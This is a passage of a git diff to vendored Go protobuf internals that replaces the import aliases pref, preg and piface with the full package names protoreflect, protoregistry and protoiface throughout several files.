@@ -12,16 +12,16 @@ import ( ptag "google.golang.org/protobuf/internal/encoding/tag" "google.golang.org/protobuf/internal/filedesc" "google.golang.org/protobuf/internal/pragma" - pref "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/runtime/protoiface" ) func (xi *ExtensionInfo) initToLegacy() { xd := xi.desc - var parent piface.MessageV1 + var parent protoiface.MessageV1 messageName := xd.ContainingMessage().FullName() - if mt, _ := preg.GlobalTypes.FindMessageByName(messageName); mt != nil { + if mt, _ := protoregistry.GlobalTypes.FindMessageByName(messageName); mt != nil { // Create a new parent message and unwrap it if possible. mv := mt.New().Interface() t := reflect.TypeOf(mv) @@ -31,7 +31,7 @@ func (xi *ExtensionInfo) initToLegacy() { // Check whether the message implements the legacy v1 Message interface. mz := reflect.Zero(t).Interface() - if mz, ok := mz.(piface.MessageV1); ok { + if mz, ok := mz.(protoiface.MessageV1); ok { parent = mz } } @@ -46,7 +46,7 @@ func (xi *ExtensionInfo) initToLegacy() { // Reconstruct the legacy enum full name. var enumName string - if xd.Kind() == pref.EnumKind { + if xd.Kind() == protoreflect.EnumKind { enumName = legacyEnumName(xd.Enum()) } @@ -77,16 +77,16 @@ func (xi *ExtensionInfo) initFromLegacy() { // field number is specified. In such a case, use a placeholder. if xi.ExtendedType == nil || xi.ExtensionType == nil { xd := placeholderExtension{ - name: pref.FullName(xi.Name), - number: pref.FieldNumber(xi.Field), + name: protoreflect.FullName(xi.Name), + number: protoreflect.FieldNumber(xi.Field), } xi.desc = extensionTypeDescriptor{xd, xi} return } // Resolve enum or message dependencies. - var ed pref.EnumDescriptor - var md pref.MessageDescriptor + var ed protoreflect.EnumDescriptor + var md protoreflect.MessageDescriptor t := reflect.TypeOf(xi.ExtensionType) isOptional := t.Kind() == reflect.Ptr && t.Elem().Kind() != reflect.Struct isRepeated := t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 @@ -94,18 +94,18 @@ func (xi *ExtensionInfo) initFromLegacy() { t = t.Elem() } switch v := reflect.Zero(t).Interface().(type) { - case pref.Enum: + case protoreflect.Enum: ed = v.Descriptor() case enumV1: ed = LegacyLoadEnumDesc(t) - case pref.ProtoMessage: + case protoreflect.ProtoMessage: md = v.ProtoReflect().Descriptor() case messageV1: md = LegacyLoadMessageDesc(t) } // Derive basic field information from the struct tag. - var evs pref.EnumValueDescriptors + var evs protoreflect.EnumValueDescriptors if ed != nil { evs = ed.Values() } @@ -114,8 +114,8 @@ func (xi *ExtensionInfo) initFromLegacy() { // Construct a v2 ExtensionType. xd := &filedesc.Extension{L2: new(filedesc.ExtensionL2)} xd.L0.ParentFile = filedesc.SurrogateProto2 - xd.L0.FullName = pref.FullName(xi.Name) - xd.L1.Number = pref.FieldNumber(xi.Field) + xd.L0.FullName = protoreflect.FullName(xi.Name) + xd.L1.Number = protoreflect.FieldNumber(xi.Field) xd.L1.Cardinality = fd.L1.Cardinality xd.L1.Kind = fd.L1.Kind xd.L2.IsPacked = fd.L1.IsPacked @@ -138,39 +138,39 @@ func (xi *ExtensionInfo) initFromLegacy() { } type placeholderExtension struct { - name pref.FullName - number pref.FieldNumber + name protoreflect.FullName + number protoreflect.FieldNumber } -func (x placeholderExtension) ParentFile() pref.FileDescriptor { return nil } -func (x placeholderExtension) Parent() pref.Descriptor { return nil } -func (x placeholderExtension) Index() int { return 0 } -func (x placeholderExtension) Syntax() pref.Syntax { return 0 } -func (x placeholderExtension) Name() pref.Name { return x.name.Name() } -func (x placeholderExtension) FullName() pref.FullName { return x.name } -func (x placeholderExtension) IsPlaceholder() bool { return true } -func (x placeholderExtension) Options() pref.ProtoMessage { return descopts.Field } -func (x placeholderExtension) Number() pref.FieldNumber { return x.number } -func (x placeholderExtension) Cardinality() pref.Cardinality { return 0 } -func (x placeholderExtension) Kind() pref.Kind { return 0 } -func (x placeholderExtension) HasJSONName() bool { return false } -func (x placeholderExtension) JSONName() string { return "[" + string(x.name) + "]" } -func (x placeholderExtension) TextName() string { return "[" + string(x.name) + "]" } -func (x placeholderExtension) HasPresence() bool { return false } -func (x placeholderExtension) HasOptionalKeyword() bool { return false } -func (x placeholderExtension) IsExtension() bool { return true } -func (x placeholderExtension) IsWeak() bool { return false } -func (x placeholderExtension) IsPacked() bool { return false } -func (x placeholderExtension) IsList() bool { return false } -func (x placeholderExtension) IsMap() bool { return false } -func (x placeholderExtension) MapKey() pref.FieldDescriptor { return nil } -func (x placeholderExtension) MapValue() pref.FieldDescriptor { return nil } -func (x placeholderExtension) HasDefault() bool { return false } -func (x placeholderExtension) Default() pref.Value { return pref.Value{} } -func (x placeholderExtension) DefaultEnumValue() pref.EnumValueDescriptor { return nil } -func (x placeholderExtension) ContainingOneof() pref.OneofDescriptor { return nil } -func (x placeholderExtension) ContainingMessage() pref.MessageDescriptor { return nil } -func (x placeholderExtension) Enum() pref.EnumDescriptor { return nil } -func (x placeholderExtension) Message() pref.MessageDescriptor { return nil } -func (x placeholderExtension) ProtoType(pref.FieldDescriptor) { return } -func (x placeholderExtension) ProtoInternal(pragma.DoNotImplement) { return } +func (x placeholderExtension) ParentFile() protoreflect.FileDescriptor { return nil } +func (x placeholderExtension) Parent() protoreflect.Descriptor { return nil } +func (x placeholderExtension) Index() int { return 0 } +func (x placeholderExtension) Syntax() protoreflect.Syntax { return 0 } +func (x placeholderExtension) Name() protoreflect.Name { return x.name.Name() } +func (x placeholderExtension) FullName() protoreflect.FullName { return x.name } +func (x placeholderExtension) IsPlaceholder() bool { return true } +func (x placeholderExtension) Options() protoreflect.ProtoMessage { return descopts.Field } +func (x placeholderExtension) Number() protoreflect.FieldNumber { return x.number } +func (x placeholderExtension) Cardinality() protoreflect.Cardinality { return 0 } +func (x placeholderExtension) Kind() protoreflect.Kind { return 0 } +func (x placeholderExtension) HasJSONName() bool { return false } +func (x placeholderExtension) JSONName() string { return "[" + string(x.name) + "]" } +func (x placeholderExtension) TextName() string { return "[" + string(x.name) + "]" } +func (x placeholderExtension) HasPresence() bool { return false } +func (x placeholderExtension) HasOptionalKeyword() bool { return false } +func (x placeholderExtension) IsExtension() bool { return true } +func (x placeholderExtension) IsWeak() bool { return false } +func (x placeholderExtension) IsPacked() bool { return false } +func (x placeholderExtension) IsList() bool { return false } +func (x placeholderExtension) IsMap() bool { return false } +func (x placeholderExtension) MapKey() protoreflect.FieldDescriptor { return nil } +func (x placeholderExtension) MapValue() protoreflect.FieldDescriptor { return nil } +func (x placeholderExtension) HasDefault() bool { return false } +func (x placeholderExtension) Default() protoreflect.Value { return protoreflect.Value{} } +func (x placeholderExtension) DefaultEnumValue() protoreflect.EnumValueDescriptor { return nil } +func (x placeholderExtension) ContainingOneof() protoreflect.OneofDescriptor { return nil } +func (x placeholderExtension) ContainingMessage() protoreflect.MessageDescriptor { return nil } +func (x placeholderExtension) Enum() protoreflect.EnumDescriptor { return nil } +func (x placeholderExtension) Message() protoreflect.MessageDescriptor { return nil } +func (x placeholderExtension) ProtoType(protoreflect.FieldDescriptor) { return } +func (x placeholderExtension) ProtoInternal(pragma.DoNotImplement) { return } diff --git a/vendor/google.golang.org/protobuf/internal/impl/legacy_message.go b/vendor/google.golang.org/protobuf/internal/impl/legacy_message.go index 029feeefd..61c483fac 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/legacy_message.go +++ b/vendor/google.golang.org/protobuf/internal/impl/legacy_message.go @@ -16,14 +16,12 @@ import ( "google.golang.org/protobuf/internal/filedesc" "google.golang.org/protobuf/internal/strs" "google.golang.org/protobuf/reflect/protoreflect" - pref "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/runtime/protoiface" - piface "google.golang.org/protobuf/runtime/protoiface" ) // legacyWrapMessage wraps v as a protoreflect.Message, // where v must be a *struct kind and not implement the v2 API already. -func legacyWrapMessage(v reflect.Value) pref.Message { +func legacyWrapMessage(v reflect.Value) protoreflect.Message { t := v.Type() if t.Kind() != reflect.Ptr || t.Elem().Kind() != reflect.Struct { return aberrantMessage{v: v} @@ -35,7 +33,7 @@ func legacyWrapMessage(v reflect.Value) pref.Message { // legacyLoadMessageType dynamically loads a protoreflect.Type for t, // where t must be not implement the v2 API already. // The provided name is used if it cannot be determined from the message. -func legacyLoadMessageType(t reflect.Type, name pref.FullName) protoreflect.MessageType { +func legacyLoadMessageType(t reflect.Type, name protoreflect.FullName) protoreflect.MessageType { if t.Kind() != reflect.Ptr || t.Elem().Kind() != reflect.Struct { return aberrantMessageType{t} } @@ -47,7 +45,7 @@ var legacyMessageTypeCache sync.Map // map[reflect.Type]*MessageInfo // legacyLoadMessageInfo dynamically loads a *MessageInfo for t, // where t must be a *struct kind and not implement the v2 API already. // The provided name is used if it cannot be determined from the message. -func legacyLoadMessageInfo(t reflect.Type, name pref.FullName) *MessageInfo { +func legacyLoadMessageInfo(t reflect.Type, name protoreflect.FullName) *MessageInfo { // Fast-path: check if a MessageInfo is cached for this concrete type. if mt, ok := legacyMessageTypeCache.Load(t); ok { return mt.(*MessageInfo) @@ -68,7 +66,7 @@ func legacyLoadMessageInfo(t reflect.Type, name pref.FullName) *MessageInfo { // supports deterministic serialization or not, but this // preserves the v1 implementation's behavior of always // calling Marshal methods when present. - mi.methods.Flags |= piface.SupportMarshalDeterministic + mi.methods.Flags |= protoiface.SupportMarshalDeterministic } if _, hasUnmarshal = v.(legacyUnmarshaler); hasUnmarshal { mi.methods.Unmarshal = legacyUnmarshal @@ -89,18 +87,18 @@ var legacyMessageDescCache sync.Map // map[reflect.Type]protoreflect.MessageDesc // which should be a *struct kind and must not implement the v2 API already. // // This is exported for testing purposes. -func LegacyLoadMessageDesc(t reflect.Type) pref.MessageDescriptor { +func LegacyLoadMessageDesc(t reflect.Type) protoreflect.MessageDescriptor { return legacyLoadMessageDesc(t, "") } -func legacyLoadMessageDesc(t reflect.Type, name pref.FullName) pref.MessageDescriptor { +func legacyLoadMessageDesc(t reflect.Type, name protoreflect.FullName) protoreflect.MessageDescriptor { // Fast-path: check if a MessageDescriptor is cached for this concrete type. if mi, ok := legacyMessageDescCache.Load(t); ok { - return mi.(pref.MessageDescriptor) + return mi.(protoreflect.MessageDescriptor) } // Slow-path: initialize MessageDescriptor from the raw descriptor. mv := reflect.Zero(t).Interface() - if _, ok := mv.(pref.ProtoMessage); ok { + if _, ok := mv.(protoreflect.ProtoMessage); ok { panic(fmt.Sprintf("%v already implements proto.Message", t)) } mdV1, ok := mv.(messageV1) @@ -164,7 +162,7 @@ var ( // // This is a best-effort derivation of the message descriptor using the protobuf // tags on the struct fields. -func aberrantLoadMessageDesc(t reflect.Type, name pref.FullName) pref.MessageDescriptor { +func aberrantLoadMessageDesc(t reflect.Type, name protoreflect.FullName) protoreflect.MessageDescriptor { aberrantMessageDescLock.Lock() defer aberrantMessageDescLock.Unlock() if aberrantMessageDescCache == nil { @@ -172,7 +170,7 @@ func aberrantLoadMessageDesc(t reflect.Type, name pref.FullName) pref.MessageDes } return aberrantLoadMessageDescReentrant(t, name) } -func aberrantLoadMessageDescReentrant(t reflect.Type, name pref.FullName) pref.MessageDescriptor { +func aberrantLoadMessageDescReentrant(t reflect.Type, name protoreflect.FullName) protoreflect.MessageDescriptor { // Fast-path: check if an MessageDescriptor is cached for this concrete type. if md, ok := aberrantMessageDescCache[t]; ok { return md @@ -225,9 +223,9 @@ func aberrantLoadMessageDescReentrant(t reflect.Type, name pref.FullName) pref.M vs := fn.Func.Call([]reflect.Value{reflect.Zero(fn.Type.In(0))})[0] for i := 0; i < vs.Len(); i++ { v := vs.Index(i) - md.L2.ExtensionRanges.List = append(md.L2.ExtensionRanges.List, [2]pref.FieldNumber{ - pref.FieldNumber(v.FieldByName("Start").Int()), - pref.FieldNumber(v.FieldByName("End").Int() + 1), + md.L2.ExtensionRanges.List = append(md.L2.ExtensionRanges.List, [2]protoreflect.FieldNumber{ + protoreflect.FieldNumber(v.FieldByName("Start").Int()), + protoreflect.FieldNumber(v.FieldByName("End").Int() + 1), }) md.L2.ExtensionRangeOptions = append(md.L2.ExtensionRangeOptions, nil) } @@ -245,7 +243,7 @@ func aberrantLoadMessageDescReentrant(t reflect.Type, name pref.FullName) pref.M n := len(md.L2.Oneofs.List) md.L2.Oneofs.List = append(md.L2.Oneofs.List, filedesc.Oneof{}) od := &md.L2.Oneofs.List[n] - od.L0.FullName = md.FullName().Append(pref.Name(tag)) + od.L0.FullName = md.FullName().Append(protoreflect.Name(tag)) od.L0.ParentFile = md.L0.ParentFile od.L0.Parent = md od.L0.Index = n @@ -267,14 +265,14 @@ func aberrantLoadMessageDescReentrant(t reflect.Type, name pref.FullName) pref.M return md } -func aberrantDeriveMessageName(t reflect.Type, name pref.FullName) pref.FullName { +func aberrantDeriveMessageName(t reflect.Type, name protoreflect.FullName) protoreflect.FullName { if name.IsValid() { return name } func() { defer func() { recover() }() // swallow possible nil panics if m, ok := reflect.Zero(t).Interface().(interface{ XXX_MessageName() string }); ok { - name = pref.FullName(m.XXX_MessageName()) + name = protoreflect.FullName(m.XXX_MessageName()) } }() if name.IsValid() { @@ -305,7 +303,7 @@ func aberrantAppendField(md *filedesc.Message, goType reflect.Type, tag, tagKey, fd.L0.Index = n if fd.L1.IsWeak || fd.L1.HasPacked { - fd.L1.Options = func() pref.ProtoMessage { + fd.L1.Options = func() protoreflect.ProtoMessage { opts := descopts.Field.ProtoReflect().New() if fd.L1.IsWeak { opts.Set(opts.Descriptor().Fields().ByName("weak"), protoreflect.ValueOfBool(true)) @@ -318,17 +316,17 @@ func aberrantAppendField(md *filedesc.Message, goType reflect.Type, tag, tagKey, } // Populate Enum and Message. - if fd.Enum() == nil && fd.Kind() == pref.EnumKind { + if fd.Enum() == nil && fd.Kind() == protoreflect.EnumKind { switch v := reflect.Zero(t).Interface().(type) { - case pref.Enum: + case protoreflect.Enum: fd.L1.Enum = v.Descriptor() default: fd.L1.Enum = LegacyLoadEnumDesc(t) } } - if fd.Message() == nil && (fd.Kind() == pref.MessageKind || fd.Kind() == pref.GroupKind) { + if fd.Message() == nil && (fd.Kind() == protoreflect.MessageKind || fd.Kind() == protoreflect.GroupKind) { switch v := reflect.Zero(t).Interface().(type) { - case pref.ProtoMessage: + case protoreflect.ProtoMessage: fd.L1.Message = v.ProtoReflect().Descriptor() case messageV1: fd.L1.Message = LegacyLoadMessageDesc(t) @@ -337,13 +335,13 @@ func aberrantAppendField(md *filedesc.Message, goType reflect.Type, tag, tagKey, n := len(md.L1.Messages.List) md.L1.Messages.List = append(md.L1.Messages.List, filedesc.Message{L2: new(filedesc.MessageL2)}) md2 := &md.L1.Messages.List[n] - md2.L0.FullName = md.FullName().Append(pref.Name(strs.MapEntryName(string(fd.Name())))) + md2.L0.FullName = md.FullName().Append(protoreflect.Name(strs.MapEntryName(string(fd.Name())))) md2.L0.ParentFile = md.L0.ParentFile md2.L0.Parent = md md2.L0.Index = n md2.L1.IsMapEntry = true - md2.L2.Options = func() pref.ProtoMessage { + md2.L2.Options = func() protoreflect.ProtoMessage { opts := descopts.Message.ProtoReflect().New() opts.Set(opts.Descriptor().Fields().ByName("map_entry"), protoreflect.ValueOfBool(true)) return opts.Interface() @@ -364,8 +362,8 @@ type placeholderEnumValues struct { protoreflect.EnumValueDescriptors } -func (placeholderEnumValues) ByNumber(n pref.EnumNumber) pref.EnumValueDescriptor { - return filedesc.PlaceholderEnumValue(pref.FullName(fmt.Sprintf("UNKNOWN_%d", n))) +func (placeholderEnumValues) ByNumber(n protoreflect.EnumNumber) protoreflect.EnumValueDescriptor { + return filedesc.PlaceholderEnumValue(protoreflect.FullName(fmt.Sprintf("UNKNOWN_%d", n))) } // legacyMarshaler is the proto.Marshaler interface superseded by protoiface.Methoder. @@ -383,7 +381,7 @@ type legacyMerger interface { Merge(protoiface.MessageV1) } -var aberrantProtoMethods = &piface.Methods{ +var aberrantProtoMethods = &protoiface.Methods{ Marshal: legacyMarshal, Unmarshal: legacyUnmarshal, Merge: legacyMerge, @@ -392,40 +390,40 @@ var aberrantProtoMethods = &piface.Methods{ // supports deterministic serialization or not, but this // preserves the v1 implementation's behavior of always // calling Marshal methods when present. - Flags: piface.SupportMarshalDeterministic, + Flags: protoiface.SupportMarshalDeterministic, } -func legacyMarshal(in piface.MarshalInput) (piface.MarshalOutput, error) { +func legacyMarshal(in protoiface.MarshalInput) (protoiface.MarshalOutput, error) { v := in.Message.(unwrapper).protoUnwrap() marshaler, ok := v.(legacyMarshaler) if !ok { - return piface.MarshalOutput{}, errors.New("%T does not implement Marshal", v) + return protoiface.MarshalOutput{}, errors.New("%T does not implement Marshal", v) } out, err := marshaler.Marshal() if in.Buf != nil { out = append(in.Buf, out...) } - return piface.MarshalOutput{ + return protoiface.MarshalOutput{ Buf: out, }, err } -func legacyUnmarshal(in piface.UnmarshalInput) (piface.UnmarshalOutput, error) { +func legacyUnmarshal(in protoiface.UnmarshalInput) (protoiface.UnmarshalOutput, error) { v := in.Message.(unwrapper).protoUnwrap() unmarshaler, ok := v.(legacyUnmarshaler) if !ok { - return piface.UnmarshalOutput{}, errors.New("%T does not implement Unmarshal", v) + return protoiface.UnmarshalOutput{}, errors.New("%T does not implement Unmarshal", v) } - return piface.UnmarshalOutput{}, unmarshaler.Unmarshal(in.Buf) + return protoiface.UnmarshalOutput{}, unmarshaler.Unmarshal(in.Buf) } -func legacyMerge(in piface.MergeInput) piface.MergeOutput { +func legacyMerge(in protoiface.MergeInput) protoiface.MergeOutput { // Check whether this supports the legacy merger. dstv := in.Destination.(unwrapper).protoUnwrap() merger, ok := dstv.(legacyMerger) if ok { merger.Merge(Export{}.ProtoMessageV1Of(in.Source)) - return piface.MergeOutput{Flags: piface.MergeComplete} + return protoiface.MergeOutput{Flags: protoiface.MergeComplete} } // If legacy merger is unavailable, implement merge in terms of @@ -433,29 +431,29 @@ func legacyMerge(in piface.MergeInput) piface.MergeOutput { srcv := in.Source.(unwrapper).protoUnwrap() marshaler, ok := srcv.(legacyMarshaler) if !ok { - return piface.MergeOutput{} + return protoiface.MergeOutput{} } dstv = in.Destination.(unwrapper).protoUnwrap() unmarshaler, ok := dstv.(legacyUnmarshaler) if !ok { - return piface.MergeOutput{} + return protoiface.MergeOutput{} } if !in.Source.IsValid() { // Legacy Marshal methods may not function on nil messages. // Check for a typed nil source only after we confirm that // legacy Marshal/Unmarshal methods are present, for // consistency. - return piface.MergeOutput{Flags: piface.MergeComplete} + return protoiface.MergeOutput{Flags: protoiface.MergeComplete} } b, err := marshaler.Marshal() if err != nil { - return piface.MergeOutput{} + return protoiface.MergeOutput{} } err = unmarshaler.Unmarshal(b) if err != nil { - return piface.MergeOutput{} + return protoiface.MergeOutput{} } - return piface.MergeOutput{Flags: piface.MergeComplete} + return protoiface.MergeOutput{Flags: protoiface.MergeComplete} } // aberrantMessageType implements MessageType for all types other than pointer-to-struct. @@ -463,19 +461,19 @@ type aberrantMessageType struct { t reflect.Type } -func (mt aberrantMessageType) New() pref.Message { +func (mt aberrantMessageType) New() protoreflect.Message { if mt.t.Kind() == reflect.Ptr { return aberrantMessage{reflect.New(mt.t.Elem())} } return aberrantMessage{reflect.Zero(mt.t)} } -func (mt aberrantMessageType) Zero() pref.Message { +func (mt aberrantMessageType) Zero() protoreflect.Message { return aberrantMessage{reflect.Zero(mt.t)} } func (mt aberrantMessageType) GoType() reflect.Type { return mt.t } -func (mt aberrantMessageType) Descriptor() pref.MessageDescriptor { +func (mt aberrantMessageType) Descriptor() protoreflect.MessageDescriptor { return LegacyLoadMessageDesc(mt.t) } @@ -499,56 +497,56 @@ func (m aberrantMessage) Reset() { } } -func (m aberrantMessage) ProtoReflect() pref.Message { +func (m aberrantMessage) ProtoReflect() protoreflect.Message { return m } -func (m aberrantMessage) Descriptor() pref.MessageDescriptor { +func (m aberrantMessage) Descriptor() protoreflect.MessageDescriptor { return LegacyLoadMessageDesc(m.v.Type()) } -func (m aberrantMessage) Type() pref.MessageType { +func (m aberrantMessage) Type() protoreflect.MessageType { return aberrantMessageType{m.v.Type()} } -func (m aberrantMessage) New() pref.Message { +func (m aberrantMessage) New() protoreflect.Message { if m.v.Type().Kind() == reflect.Ptr { return aberrantMessage{reflect.New(m.v.Type().Elem())} } return aberrantMessage{reflect.Zero(m.v.Type())} } -func (m aberrantMessage) Interface() pref.ProtoMessage { +func (m aberrantMessage) Interface() protoreflect.ProtoMessage { return m } -func (m aberrantMessage) Range(f func(pref.FieldDescriptor, pref.Value) bool) { +func (m aberrantMessage) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) { return } -func (m aberrantMessage) Has(pref.FieldDescriptor) bool { +func (m aberrantMessage) Has(protoreflect.FieldDescriptor) bool { return false } -func (m aberrantMessage) Clear(pref.FieldDescriptor) { +func (m aberrantMessage) Clear(protoreflect.FieldDescriptor) { panic("invalid Message.Clear on " + string(m.Descriptor().FullName())) } -func (m aberrantMessage) Get(fd pref.FieldDescriptor) pref.Value { +func (m aberrantMessage) Get(fd protoreflect.FieldDescriptor) protoreflect.Value { if fd.Default().IsValid() { return fd.Default() } panic("invalid Message.Get on " + string(m.Descriptor().FullName())) } -func (m aberrantMessage) Set(pref.FieldDescriptor, pref.Value) { +func (m aberrantMessage) Set(protoreflect.FieldDescriptor, protoreflect.Value) { panic("invalid Message.Set on " + string(m.Descriptor().FullName())) } -func (m aberrantMessage) Mutable(pref.FieldDescriptor) pref.Value { +func (m aberrantMessage) Mutable(protoreflect.FieldDescriptor) protoreflect.Value { panic("invalid Message.Mutable on " + string(m.Descriptor().FullName())) } -func (m aberrantMessage) NewField(pref.FieldDescriptor) pref.Value { +func (m aberrantMessage) NewField(protoreflect.FieldDescriptor) protoreflect.Value { panic("invalid Message.NewField on " + string(m.Descriptor().FullName())) } -func (m aberrantMessage) WhichOneof(pref.OneofDescriptor) pref.FieldDescriptor { +func (m aberrantMessage) WhichOneof(protoreflect.OneofDescriptor) protoreflect.FieldDescriptor { panic("invalid Message.WhichOneof descriptor on " + string(m.Descriptor().FullName())) } -func (m aberrantMessage) GetUnknown() pref.RawFields { +func (m aberrantMessage) GetUnknown() protoreflect.RawFields { return nil } -func (m aberrantMessage) SetUnknown(pref.RawFields) { +func (m aberrantMessage) SetUnknown(protoreflect.RawFields) { // SetUnknown discards its input on messages which don't support unknown field storage. } func (m aberrantMessage) IsValid() bool { @@ -557,7 +555,7 @@ func (m aberrantMessage) IsValid() bool { } return false } -func (m aberrantMessage) ProtoMethods() *piface.Methods { +func (m aberrantMessage) ProtoMethods() *protoiface.Methods { return aberrantProtoMethods } func (m aberrantMessage) protoUnwrap() interface{} { diff --git a/vendor/google.golang.org/protobuf/internal/impl/merge.go b/vendor/google.golang.org/protobuf/internal/impl/merge.go index c65bbc044..7e65f64f2 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/merge.go +++ b/vendor/google.golang.org/protobuf/internal/impl/merge.go @@ -9,8 +9,8 @@ import ( "reflect" "google.golang.org/protobuf/proto" - pref "google.golang.org/protobuf/reflect/protoreflect" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/runtime/protoiface" ) type mergeOptions struct{} @@ -20,17 +20,17 @@ func (o mergeOptions) Merge(dst, src proto.Message) { } // merge is protoreflect.Methods.Merge. -func (mi *MessageInfo) merge(in piface.MergeInput) piface.MergeOutput { +func (mi *MessageInfo) merge(in protoiface.MergeInput) protoiface.MergeOutput { dp, ok := mi.getPointer(in.Destination) if !ok { - return piface.MergeOutput{} + return protoiface.MergeOutput{} } sp, ok := mi.getPointer(in.Source) if !ok { - return piface.MergeOutput{} + return protoiface.MergeOutput{} } mi.mergePointer(dp, sp, mergeOptions{}) - return piface.MergeOutput{Flags: piface.MergeComplete} + return protoiface.MergeOutput{Flags: protoiface.MergeComplete} } func (mi *MessageInfo) mergePointer(dst, src pointer, opts mergeOptions) { @@ -64,7 +64,7 @@ func (mi *MessageInfo) mergePointer(dst, src pointer, opts mergeOptions) { continue } dx := (*dext)[num] - var dv pref.Value + var dv protoreflect.Value if dx.Type() == sx.Type() { dv = dx.Value() } @@ -85,15 +85,15 @@ func (mi *MessageInfo) mergePointer(dst, src pointer, opts mergeOptions) { } } -func mergeScalarValue(dst, src pref.Value, opts mergeOptions) pref.Value { +func mergeScalarValue(dst, src protoreflect.Value, opts mergeOptions) protoreflect.Value { return src } -func mergeBytesValue(dst, src pref.Value, opts mergeOptions) pref.Value { - return pref.ValueOfBytes(append(emptyBuf[:], src.Bytes()...)) +func mergeBytesValue(dst, src protoreflect.Value, opts mergeOptions) protoreflect.Value { + return protoreflect.ValueOfBytes(append(emptyBuf[:], src.Bytes()...)) } -func mergeListValue(dst, src pref.Value, opts mergeOptions) pref.Value { +func mergeListValue(dst, src protoreflect.Value, opts mergeOptions) protoreflect.Value { dstl := dst.List() srcl := src.List() for i, llen := 0, srcl.Len(); i < llen; i++ { @@ -102,29 +102,29 @@ func mergeListValue(dst, src pref.Value, opts mergeOptions) pref.Value { return dst } -func mergeBytesListValue(dst, src pref.Value, opts mergeOptions) pref.Value { +func mergeBytesListValue(dst, src protoreflect.Value, opts mergeOptions) protoreflect.Value { dstl := dst.List() srcl := src.List() for i, llen := 0, srcl.Len(); i < llen; i++ { sb := srcl.Get(i).Bytes() db := append(emptyBuf[:], sb...) - dstl.Append(pref.ValueOfBytes(db)) + dstl.Append(protoreflect.ValueOfBytes(db)) } return dst } -func mergeMessageListValue(dst, src pref.Value, opts mergeOptions) pref.Value { +func mergeMessageListValue(dst, src protoreflect.Value, opts mergeOptions) protoreflect.Value { dstl := dst.List() srcl := src.List() for i, llen := 0, srcl.Len(); i < llen; i++ { sm := srcl.Get(i).Message() dm := proto.Clone(sm.Interface()).ProtoReflect() - dstl.Append(pref.ValueOfMessage(dm)) + dstl.Append(protoreflect.ValueOfMessage(dm)) } return dst } -func mergeMessageValue(dst, src pref.Value, opts mergeOptions) pref.Value { +func mergeMessageValue(dst, src protoreflect.Value, opts mergeOptions) protoreflect.Value { opts.Merge(dst.Message().Interface(), src.Message().Interface()) return dst } diff --git a/vendor/google.golang.org/protobuf/internal/impl/message.go b/vendor/google.golang.org/protobuf/internal/impl/message.go index a104e28e8..4f5fb67a0 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/message.go +++ b/vendor/google.golang.org/protobuf/internal/impl/message.go @@ -14,8 +14,7 @@ import ( "google.golang.org/protobuf/internal/genid" "google.golang.org/protobuf/reflect/protoreflect" - pref "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/reflect/protoregistry" ) // MessageInfo provides protobuf related functionality for a given Go type @@ -29,7 +28,7 @@ type MessageInfo struct { GoReflectType reflect.Type // pointer to struct // Desc is the underlying message descriptor type and must be populated. - Desc pref.MessageDescriptor + Desc protoreflect.MessageDescriptor // Exporter must be provided in a purego environment in order to provide // access to unexported fields. @@ -54,7 +53,7 @@ type exporter func(v interface{}, i int) interface{} // is generated by our implementation of protoc-gen-go (for v2 and on). // If it is unable to obtain a MessageInfo, it returns nil. func getMessageInfo(mt reflect.Type) *MessageInfo { - m, ok := reflect.Zero(mt).Interface().(pref.ProtoMessage) + m, ok := reflect.Zero(mt).Interface().(protoreflect.ProtoMessage) if !ok { return nil } @@ -97,7 +96,7 @@ func (mi *MessageInfo) initOnce() { // getPointer returns the pointer for a message, which should be of // the type of the MessageInfo. If the message is of a different type, // it returns ok==false. -func (mi *MessageInfo) getPointer(m pref.Message) (p pointer, ok bool) { +func (mi *MessageInfo) getPointer(m protoreflect.Message) (p pointer, ok bool) { switch m := m.(type) { case *messageState: return m.pointer(), m.messageInfo() == mi @@ -134,10 +133,10 @@ type structInfo struct { extensionOffset offset extensionType reflect.Type - fieldsByNumber map[pref.FieldNumber]reflect.StructField - oneofsByName map[pref.Name]reflect.StructField - oneofWrappersByType map[reflect.Type]pref.FieldNumber - oneofWrappersByNumber map[pref.FieldNumber]reflect.Type + fieldsByNumber map[protoreflect.FieldNumber]reflect.StructField + oneofsByName map[protoreflect.Name]reflect.StructField + oneofWrappersByType map[reflect.Type]protoreflect.FieldNumber + oneofWrappersByNumber map[protoreflect.FieldNumber]reflect.Type } func (mi *MessageInfo) makeStructInfo(t reflect.Type) structInfo { @@ -147,10 +146,10 @@ func (mi *MessageInfo) makeStructInfo(t reflect.Type) structInfo { unknownOffset: invalidOffset, extensionOffset: invalidOffset, - fieldsByNumber: map[pref.FieldNumber]reflect.StructField{}, - oneofsByName: map[pref.Name]reflect.StructField{}, - oneofWrappersByType: map[reflect.Type]pref.FieldNumber{}, - oneofWrappersByNumber: map[pref.FieldNumber]reflect.Type{}, + fieldsByNumber: map[protoreflect.FieldNumber]reflect.StructField{}, + oneofsByName: map[protoreflect.Name]reflect.StructField{}, + oneofWrappersByType: map[reflect.Type]protoreflect.FieldNumber{}, + oneofWrappersByNumber: map[protoreflect.FieldNumber]reflect.Type{}, } fieldLoop: @@ -180,12 +179,12 @@ fieldLoop: for _, s := range strings.Split(f.Tag.Get("protobuf"), ",") { if len(s) > 0 && strings.Trim(s, "0123456789") == "" { n, _ := strconv.ParseUint(s, 10, 64) - si.fieldsByNumber[pref.FieldNumber(n)] = f + si.fieldsByNumber[protoreflect.FieldNumber(n)] = f continue fieldLoop } } if s := f.Tag.Get("protobuf_oneof"); len(s) > 0 { - si.oneofsByName[pref.Name(s)] = f + si.oneofsByName[protoreflect.Name(s)] = f continue fieldLoop } } @@ -208,8 +207,8 @@ fieldLoop: for _, s := range 